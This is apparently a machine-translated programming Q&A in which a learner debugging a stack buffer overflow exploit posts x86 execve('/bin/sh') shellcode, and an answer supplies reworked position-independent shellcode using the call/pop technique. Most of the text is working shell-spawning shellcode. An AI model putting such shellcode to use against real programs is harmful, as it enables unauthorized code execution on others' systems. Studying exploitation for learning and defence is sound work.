我正在尝试学习如何进行基本的缓冲区溢出攻击。我有工作程序集和正确的shellcode(没有空字节或对其他数据的引用)。大会如下:
;clear out registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
;execve("//bin/sh",NULL,NULL)
mov al, 11
;ascii for //bin/sh
;2f 2f 62 69 6e 2f 73 68
; push null bytes on to stack
push bx
push 0x68732f6e
push 0x69622f2f
;set ebx to //bin/sh
mov ebx, esp
;call execve
int 0x80
当我自己运行程序集时,它运行正常。当我从它构造shell代码时,使用nop sled和正确的地址,我能够覆盖eip并让它开始执行我的程序集。
问题在于,由于我的指令存储在堆栈中(在64字节缓冲区中),第二个推送指令会覆盖代码中的最终指令。所以int 0x80
永远不会被执行,因为它被替换为2f2f。谁能告诉我如何解决或解决这个问题?
答案 0 :(得分:0)
尝试使用可重定位的代码和数据。最后一件事是通过弄清楚我们的代码所在的地址来完成的,例如:
call next ;push address of next instruction to stack.
nop ;this is to avoid offset in CALL instruction to be 0.
next: pop ebx ;EBX holds this very same code address
xor ecx,ecx
mov cl,exename-next ;ECX is offset to exename
add ebx,ecx ;now EBX points to exename
xor eax,eax
xor ecx,ecx
xor edx,edx
mov al,11
int 80h
exename: db "/bin/sh",0
CALL
指令实际上是CALL NEAR
指令,因此它使用偏移量,而不是绝对地址,因此可以重定位。此代码仅使用4个字节的堆栈而不是12个。